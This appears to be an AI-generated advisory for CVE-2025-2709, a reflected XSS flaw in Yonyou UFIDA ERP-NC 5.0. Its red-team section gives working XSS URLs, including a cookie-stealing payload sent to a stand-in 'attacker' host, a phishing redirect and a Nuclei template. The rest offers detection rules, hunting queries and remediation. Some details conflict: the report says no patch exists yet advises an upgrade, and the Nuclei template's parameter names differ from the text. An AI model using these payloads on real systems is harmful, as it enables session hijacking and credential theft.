CVE-2025-2709

Executive Summary

CVE-2025-2709 is a reflected Cross-Site Scripting (XSS) vulnerability in Yonyou UFIDA ERP-NC version 5.0. The flaw exists in the /login.jsp file, where the key, redirect, and nodeid parameters are not properly sanitized before being reflected in the HTTP response. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or redirection to malicious sites. The vulnerability has a CVSS v3.1 score of 6.1 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a proprietary enterprise resource planning (ERP) system (Yonyou UFIDA ERP-NC) and is not related to any open-source package manager (NPM, PyPI, Go, Ruby). Therefore, no supply chain package security analysis is applicable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, given the widespread use of ERP systems and the lack of a vendor patch, the risk is elevated for organizations using the affected version.

Deep Dive & Mechanics

The vulnerability resides in the /login.jsp page of Yonyou UFIDA ERP-NC 5.0. The application reflects user-supplied input from the key, redirect, and nodeid GET parameters directly into the HTML response without proper encoding or sanitization. This allows an attacker to inject arbitrary HTML and JavaScript.

Technical Flow:

1. An attacker crafts a malicious URL: https://target/login.jsp?key=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E
2. The URL-encoded payload decodes to: hebing'><svg onload=alert(document.domain)>
3. The server returns an HTML page that includes this payload verbatim, likely within a script or input context.
4. The victim's browser parses the injected <svg> tag and executes the onload event, triggering the JavaScript alert(document.domain).
5. An attacker can replace the alert with more malicious code, such as stealing session cookies or redirecting to a phishing page.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The Nuclei template confirms that the key, redirect, and nodeid parameters are all vulnerable.

Vulnerable vs. Patched Code

Vulnerable Code (Yonyou UFIDA ERP-NC 5.0): The /login.jsp file likely contains code similar to:

<%
String key = request.getParameter("key");
if (key != null) {
    out.println("Key: " + key);
}
%>

This directly outputs the user input without escaping.

Patched Code (Hypothetical fix in version 5.1 or later):

<%@ page import="org.owasp.encoder.Encode" %>
<%
String key = request.getParameter("key");
if (key != null) {
    out.println("Key: " + Encode.forHtml(key));
}
%>

The fix uses an output encoding library (e.g., OWASP Encoder) to escape HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Yonyou UFIDA ERP-NC 5.0.
• A web browser or tool like curl to send requests.

Exploitation Steps:

1. Craft the malicious URL:

   http://target/login.jsp?key=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E
   

2. Send the request using curl:

   curl -v "http://target/login.jsp?key=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
   

3. Verify the injection: The response body should contain the unescaped payload <svg onload=alert(document.domain)>.
4. Exploit for session hijacking: Replace the payload with a script that steals cookies:

   http://target/login.jsp?key=hebing%27%3E%3Cscript%3Edocument.location=%27http://attacker/steal?cookie=%27%2Bdocument.cookie%3C/script%3E
   

5. Phishing attack: Redirect users to a fake login page:

   http://target/login.jsp?redirect=http://attacker/fake-login
   

Nuclei Template Usage: The provided Nuclei template can be used to automate scanning:

nuclei -t CVE-2025-2709.yaml -u http://target

Blue Team (Defensive)

Detection Steps:

1. Monitor web logs for suspicious GET requests to /login.jsp containing key=, redirect=, or nodeid= parameters with URL-encoded HTML tags (e.g., %3Csvg, %3Cscript).
2. Deploy a WAF rule to block requests containing <script, <svg, or onload in the query string.
3. Use the provided YARA and Sigma rules to detect exploitation attempts in logs and network traffic.

Hunting Queries:

• Splunk: index=web sourcetype=access_combined uri="/login.jsp" | search uri_query IN (*key=*, *redirect=*, *nodeid=*) | regex uri_query="(%3C|%3E|<|>)"
• ELK: http.request.uri: "/login.jsp" AND http.request.uri.query: (*key=* OR *redirect=* OR *nodeid=*) AND http.request.uri.query: (*%3C* OR *%3E*)

Indicators of Compromise (IOCs)

• URL Patterns:
  • /login.jsp?key=*
  • /login.jsp?redirect=*
  • /login.jsp?nodeid=*
• Payload Signatures:
  • <svg onload=
  • <script>
  • %3Csvg%20onload=
  • %3Cscript%3E
• Network Indicators:
  • Outbound connections to attacker-controlled domains from the ERP server.
  • HTTP responses containing unescaped HTML tags in the body.
• File Hashes: Not applicable (no file uploads).

Detection Engineering

YARA Rule

rule CVE_2025_2709_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts against Yonyou UFIDA ERP-NC login.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2709"
        severity = "medium"
    strings:
        $xss_payload1 = "<svg onload=" ascii wide nocase
        $xss_payload2 = "<script>" ascii wide nocase
        $xss_payload3 = "%3Csvg%20onload=" ascii wide nocase
        $xss_payload4 = "%3Cscript%3E" ascii wide nocase
        $uri_pattern = "/login.jsp" ascii wide nocase
    condition:
        $uri_pattern and any of ($xss_payload*)
}

Sigma Rule

title: Reflected XSS Attempt Against Yonyou UFIDA ERP-NC login.jsp
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /login.jsp with XSS payloads in query parameters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2709
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem: "/login.jsp"
        cs-uri-query|contains:
            - "key="
            - "redirect="
            - "nodeid="
    payload:
        cs-uri-query|contains:
            - "<svg"
            - "<script"
            - "%3Csvg"
            - "%3Cscript"
    condition: selection and payload
falsepositives:
    - Legitimate use of HTML in parameters (unlikely)
level: medium
tags:
    - attack.t1190
    - cve.2025.2709

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2709 - Yonyou UFIDA ERP-NC Reflected XSS Attempt"; flow:to_server,established; content:"/login.jsp"; http_uri; content:"key="; http_uri; nocase; content:"<svg"; http_uri; nocase; sid:1000001; rev:1; reference:cve,2025-2709;)

Nuclei Template (Full)

id: CVE-2025-2709

info:
  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Attackers can inject malicious JavaScript through multiple parameters in login.jsp, potentially stealing user credentials, session cookies, or redirecting users to malicious sites.
  remediation: |
    Upgrade to Yonyou UFIDA ERP-NC version 5.1 or later that properly sanitizes user input.
  reference:
    - https://github.com/Hebing123/cve/issues/84
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2709
  classification:
    epss-score: 0.00074
    epss-percentile: 0.22158
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-2709
    cwe-id: CWE-79
    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: yonyou
    product: ufida_erp-nc
    fofa-query: icon_hash="1085941792"
  tags: cve,cve2025,xss,erp-nc,ufida,yonyou,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.jsp?onlyOnePerVM=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
      - "{{BaseURL}}/login.jsp?redirect=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
      - "{{BaseURL}}/login.jsp?nodeid=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg onload=alert(document.domain)>'
          - 'this explore not support plug in'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Yonyou UFIDA ERP-NC version 5.1 or later if available. If not, apply virtual patching.
2. Deploy a Web Application Firewall (WAF) with rules to block XSS payloads in query parameters.
3. Input Validation: Implement server-side validation to reject or sanitize input containing HTML tags.
4. Output Encoding: Use context-aware encoding (e.g., OWASP Java Encoder) for all user-supplied data reflected in responses.

Long-Term Fix:

• The vendor must release a security patch that properly sanitizes the key, redirect, and nodeid parameters in /login.jsp.

Workaround:

• If upgrading is not possible, restrict access to /login.jsp using network ACLs or reverse proxy rules to trusted IP ranges only.

Valters IT signature: This report is generated by Valters IT DevSecOps AI Assistant. All information is based on publicly available data and should be verified before use.

{/* [Security Hash: 5CB86AD188D4FF13BEE4A5D6] */}